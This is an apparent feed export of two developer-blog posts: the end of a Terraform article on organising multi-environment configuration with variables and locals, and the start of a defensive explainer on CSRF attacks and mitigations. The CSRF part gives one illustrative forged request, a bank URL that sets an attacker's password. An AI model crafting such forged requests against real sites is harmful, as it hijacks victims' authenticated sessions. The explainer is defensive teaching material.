    &lt;span class="nx"&gt;stg&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.2"&lt;/span&gt;
    &lt;span class="nx"&gt;prd&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.3"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;main.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;module&lt;/span&gt; &lt;span class="s2"&gt;"vpc"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;source&lt;/span&gt;             &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-aws-modules/vpc/aws"&lt;/span&gt;

  &lt;span class="c1"&gt;# Later on we'll set cidr to a Local Value&lt;/span&gt;
  &lt;span class="nx"&gt;cidr&lt;/span&gt;               &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0.0/16"&lt;/span&gt;

  &lt;span class="c1"&gt;# ... removed other attributes for brevity&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Local Values (Model)
&lt;/h2&gt;

&lt;p&gt;Any value that has even the slightest chance of changing in the future should be set to a Local Value. This means that most of the IaC will include Local Values. &lt;a href="https://www.terraform.io/docs/configuration/locals.html#when-to-use-local-values"&gt;Terraform's official docs&lt;/a&gt; recommendations:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;... &lt;em&gt;if overused, Local Values can also make a configuration hard to read by future maintainers by hiding the actual values used ... Use local values only in moderation, in situations where a single value or result is used in many places, and that value is likely to be changed in the future. The ability to easily change the value in a central place is the key advantage of local values.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Local Values are "overused" to make the code modular and easier to maintain. To share the true powers of this approach, here's another practical example:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;main.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;module&lt;/span&gt; &lt;span class="s2"&gt;"vpc"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;source&lt;/span&gt;             &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-aws-modules/vpc/aws"&lt;/span&gt;
  &lt;span class="nx"&gt;version&lt;/span&gt;            &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"~&amp;gt;2.0"&lt;/span&gt;
  &lt;span class="nx"&gt;name&lt;/span&gt;               &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prefix&lt;/span&gt;
  &lt;span class="nx"&gt;cidr&lt;/span&gt;               &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc_cidr&lt;/span&gt;
  &lt;span class="nx"&gt;private_subnets&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;private_subnets&lt;/span&gt;
  &lt;span class="nx"&gt;public_subnets&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;public_subnets&lt;/span&gt;
  &lt;span class="nx"&gt;azs&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;

  &lt;span class="nx"&gt;tags&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tags&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Do you realize what this means?&lt;/strong&gt; it's possible to manage all the values in a single place&lt;/p&gt;

&lt;p&gt;&lt;code&gt;variables.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Input Variables (Controller)&lt;/span&gt;
&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"app_name"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"region"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"environment"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
  &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"dev, stg, prd"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"cidr_ab"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;map&lt;/span&gt;
  &lt;span class="nx"&gt;default&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;dev&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.1"&lt;/span&gt;
    &lt;span class="nx"&gt;stg&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.2"&lt;/span&gt;
    &lt;span class="nx"&gt;prd&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.3"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Local Values (Model)&lt;/span&gt;
&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;prefix&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;app_name&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_cidr&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0.0/16"&lt;/span&gt;
  &lt;span class="nx"&gt;public_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.1.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.2.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="nx"&gt;private_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.10.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.20.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;region&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;region&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;b"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="nx"&gt;tags&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"Environment"&lt;/span&gt; &lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"Terraform"&lt;/span&gt; &lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"true"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Practical implementation
&lt;/h2&gt;

&lt;p&gt;I've created a GitHub repository that implements the described MVC design pattern in Terraform. This repository also includes a CI/CD process for promoting environments. Here it is:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A9-wwsHG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/unfor19"&gt;
        unfor19
      &lt;/a&gt; / &lt;a href="https://github.com/unfor19/terraform-multienv"&gt;
        terraform-multienv
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A template for maintaining a multiple environments infrastructure with Terraform. This template includes a CI/CD process, that applies the infrastructure in an AWS account.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;terraform-multienv&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;A template for maintaining a multiple environments infrastructure with &lt;a href="https://www.terraform.io/" rel="nofollow"&gt;Terraform&lt;/a&gt;. This template includes a CI/CD process, that applies the infrastructure in an AWS account.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
   &lt;tbody&gt;
&lt;tr&gt;
      &lt;td&gt;environment&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/.drone.yml"&gt;drone.io&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/.github/workflows/pipeline.yml"&gt;GitHub Actions&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/.circleci/config.yml"&gt;Circle Ci&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/.travis.yml"&gt;Travis CI&lt;/a&gt;&lt;/td&gt;
   &lt;/tr&gt;
   &lt;tr&gt;
      &lt;td&gt;dev&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://cloud.drone.io/unfor19/terraform-multienv" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/af076f407317363e82f7786cb046eee49ae9caaff0f368c1993231141dba8150/68747470733a2f2f636c6f75642e64726f6e652e696f2f6170692f6261646765732f756e666f7231392f7465727261666f726d2d6d756c7469656e762f7374617475732e7376673f7265663d726566732f68656164732f646576"&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://github.com/unfor19/terraform-multienv/actions?query=workflow%3Apipeline"&gt;&lt;img src="https://github.com/unfor19/terraform-multienv/workflows/pipeline/badge.svg?branch=dev"&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://app.circleci.com/pipelines/github/unfor19/terraform-multienv?branch=dev" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/0e2d52b8d1f9e6fb7860c6ab5c2a1f55952e8c256e9b505c9ee239c1ce621cc7/68747470733a2f2f636972636c6563692e636f6d2f67682f756e666f7231392f7465727261666f726d2d6d756c7469656e762f747265652f6465762e7376673f7374796c653d737667"&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://travis-ci.com/github/unfor19/terraform-multienv" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/e24022f84c0c6e8c7697f50fb0f377bbbc1b3df8a79ff994d08e4d18eaf202c7/68747470733a2f2f7472617669732d63692e636f6d2f756e666f7231392f7465727261666f726d2d6d756c7469656e762e7376673f6272616e63683d646576"&gt;&lt;/a&gt;&lt;/td&gt;
   &lt;/tr&gt;
   &lt;tr&gt;
      &lt;td&gt;stg&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://cloud.drone.io/unfor19/terraform-multienv" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b7c2ada43dd21b1c8fac92399ce44d1905155aa61468fdc016fe883ab38ae145/68747470733a2f2f636c6f75642e64726f6e652e696f2f6170692f6261646765732f756e666f7231392f7465727261666f726d2d6d756c7469656e762f7374617475732e7376673f7265663d726566732f68656164732f737467"&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://github.com/unfor19/terraform-multienv/actions?query=workflow%3Apipeline"&gt;&lt;img src="https://github.com/unfor19/terraform-multienv/workflows/pipeline/badge.svg?branch=stg"&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://app.circleci.com/pipelines/github/unfor19/terraform-multienv?branch=stg" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/de269189aa5f86253b8f9c2cf635d73af9a4c3354b704da8c6ad7e609d96942d/68747470733a2f2f636972636c6563692e636f6d2f67682f756e666f7231392f7465727261666f726d2d6d756c7469656e762f747265652f7374672e7376673f7374796c653d737667"&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://travis-ci.com/github/unfor19/terraform-multienv" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/264f9062885d6886963affae6bb466fab3f02feae217bd1160bb595c1fcf0641/68747470733a2f2f7472617669732d63692e636f6d2f756e666f7231392f7465727261666f726d2d6d756c7469656e762e7376673f6272616e63683d737467"&gt;&lt;/a&gt;&lt;/td&gt;        
   &lt;/tr&gt;
   &lt;tr&gt;
      &lt;td&gt;prd&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://cloud.drone.io/unfor19/terraform-multienv" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/c0fc7723e4e07c9588bdfecb244778af85e2ee17a4deee4df6348e7642d1d01a/68747470733a2f2f636c6f75642e64726f6e652e696f2f6170692f6261646765732f756e666f7231392f7465727261666f726d2d6d756c7469656e762f7374617475732e7376673f7265663d726566732f68656164732f707264"&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://github.com/unfor19/terraform-multienv/actions?query=workflow%3Apipeline"&gt;&lt;img src="https://github.com/unfor19/terraform-multienv/workflows/pipeline/badge.svg?branch=prd"&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://app.circleci.com/pipelines/github/unfor19/terraform-multienv?branch=prd" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/e9226afc8fd36708919844a5d3979aac37d709a3aa7fea532238559847abaff2/68747470733a2f2f636972636c6563692e636f6d2f67682f756e666f7231392f7465727261666f726d2d6d756c7469656e762f747265652f7072642e7376673f7374796c653d737667"&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href="https://travis-ci.com/github/unfor19/terraform-multienv" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/852a9bad9a3bb36d5d3b609ae80dc18e9d406b9414d746eccceff29b7b44e27e/68747470733a2f2f7472617669732d63692e636f6d2f756e666f7231392f7465727261666f726d2d6d756c7469656e762e7376673f6272616e63683d707264"&gt;&lt;/a&gt;&lt;/td&gt;        
   &lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Assumptions&lt;/h2&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Branches names are aligned with environments names, for example &lt;code&gt;dev&lt;/code&gt;, &lt;code&gt;stg&lt;/code&gt; and &lt;code&gt;prd&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The CI/CD tool supports the variable &lt;code&gt;${BRANCH_NAME}&lt;/code&gt;, for example &lt;code&gt;${DRONE_BRANCH}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The directory &lt;code&gt;./live&lt;/code&gt; contains infrastructure-as-code files - &lt;code&gt;*.tf&lt;/code&gt;, &lt;code&gt;*.tpl&lt;/code&gt;, &lt;code&gt;*.json&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Multiple Environments&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All environments are maintained in the same git repository&lt;/li&gt;
&lt;li&gt;Hosting environments in different AWS account is supported (and recommended)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;

&lt;p&gt;Variables&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;${app_name} = &lt;code&gt;tfmultienv&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;${environment} = &lt;code&gt;dev&lt;/code&gt; or &lt;code&gt;stg&lt;/code&gt; or &lt;code&gt;prd&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Getting Started&lt;/h2&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;

&lt;p&gt;We're going to create the following resources per environment&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS VPC, Subnets, Routes and Routing Tables, Internet Gateway&lt;/li&gt;
&lt;li&gt;S3 bucket (website) and an S3 object (index.html)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.terraform.io/docs/backends/types/s3.html" rel="nofollow"&gt;Terraform remote backend&lt;/a&gt; - S3 bucket and DynamoDB table&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;

&lt;p&gt;Create a new GitHub repository by…&lt;/p&gt;


&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/unfor19/terraform-multienv"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h2&gt;
  
  
  Final Words
&lt;/h2&gt;

&lt;p&gt;I hope you find this useful, and if you do, don't forget to clap/heart and share it with your friends and colleagues.&lt;br&gt;
Got any questions or doubts? Let's start a discussion! Feel free to comment below.&lt;/p&gt;

</description>
      <category>terraform</category>
      <category>tips</category>
      <category>tricks</category>
      <category>bestpractice</category>
    </item>
    <item>
      <title>Protect your application from CSRF attacks</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 25 May 2020 14:45:20 +0000</pubDate>
      <link>https://forem.com/prodopsio/protect-your-application-from-csrf-attacks-2l9o</link>
      <guid>https://forem.com/prodopsio/protect-your-application-from-csrf-attacks-2l9o</guid>
      <description>&lt;p&gt;Cross-Site Request Forgery attack and mitigations explained&lt;br&gt;
&lt;em&gt;Originally published at &lt;a href="https://omerxx.com/csrf-attacks"&gt;https://omerxx.com/csrf-attacks&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. With a little help of social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing."&lt;br&gt;
&lt;br&gt;&lt;br&gt;
- &lt;a href="http://dvwa.co.uk/"&gt;DVWA&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;TL;DR&lt;/em&gt;&lt;br&gt;
CSRF is as easy to attack as it is easy to protect from! There's no reason any web-facing application should not implement the relevant protection. Lots of known frameworks have it built in as a feature or an opt-in and on some it is offered as a middleware. &lt;a href="https://scotthelme.co.uk/csrf-is-dead/"&gt;CSRF will probably die&lt;/a&gt; in the next few years, when all modern browsers will adopt default same-site cookies protection. However, until that actually happens, web applications are exposed, and for no good reason.&lt;/p&gt;

&lt;p&gt;In this post I'm going to quickly go over the basics, mitigations and then take a deep dive into a hands-on lab. The latter is obviously not a must for mitigation. But stick around if you want to get your hands dirty and get a more firm grasp of the attack vector.&lt;/p&gt;


&lt;h1&gt;
  
  
  What is it
&lt;/h1&gt;

&lt;p&gt;Cross Site Request Forgery, "CSRF", or "XSRF", is a common vulnerability in web applications. It involves sending malicious requests from an external domain to the backend server, performing actions in the victim's name. The attack assumes a valid cookie from an authenticated victim.&lt;/p&gt;

&lt;p&gt;Delivering the exploit involves some social engineering methods where a victim is tricked into visiting a URL or clicking a button on an HTML document. These can be shared via email, instant messaging and various other techniques.&lt;/p&gt;

&lt;p&gt;If the attack is successful when the victim visits the malicious link it uses his session cookies to perform an action, usually without him being aware of it.&lt;/p&gt;

&lt;p&gt;As an example consider this request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://bank.com/account/update?password='attackerPassword123'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an authenticated user clicks the link, assuming his cookies for &lt;code&gt;bank.com&lt;/code&gt; are still unexpired, his bank account password will change with the attacker's password. While this is a naive &lt;code&gt;GET&lt;/code&gt; request, the attack is not limited to this method alone. It can be done with &lt;code&gt;POST&lt;/code&gt; requests which are can be chained with stored XSS vulnerabilities to increase the attack surface and success rate.&lt;/p&gt;

&lt;p&gt;Modern browsers adhere to the &lt;code&gt;same-origin-policy&lt;/code&gt; restriction. They assume applications can only send requests to each other within their domain. In order to extend the restriction, applications use &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS"&gt;CORS&lt;/a&gt; headers. For example, the next header allows all domains to send HTTP requests to the server (and it is therefor &lt;strong&gt;highly UNrecommended&lt;/strong&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access-Control-Allow-Origin: *
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;More often than not there's a communication of requests between different services of an application. This requires extending the origins that are allowed to communicate with the backend app. However, many developers choose to solve the problem by setting &lt;code&gt;*&lt;/code&gt; in the CORS header, effectively allowing anyone to communicate with them.&lt;/p&gt;

&lt;p&gt;Note: SOP (same-origin-policy) and CORS do not prevent requests from &lt;strong&gt;reaching the server&lt;/strong&gt;, they prevent a &lt;strong&gt;response&lt;/strong&gt;. For this reason, CSRF is exploiting known state-changing requests and does not expect an answer.&lt;/p&gt;




&lt;h1&gt;
  
  
  Why it's important to know
&lt;/h1&gt;

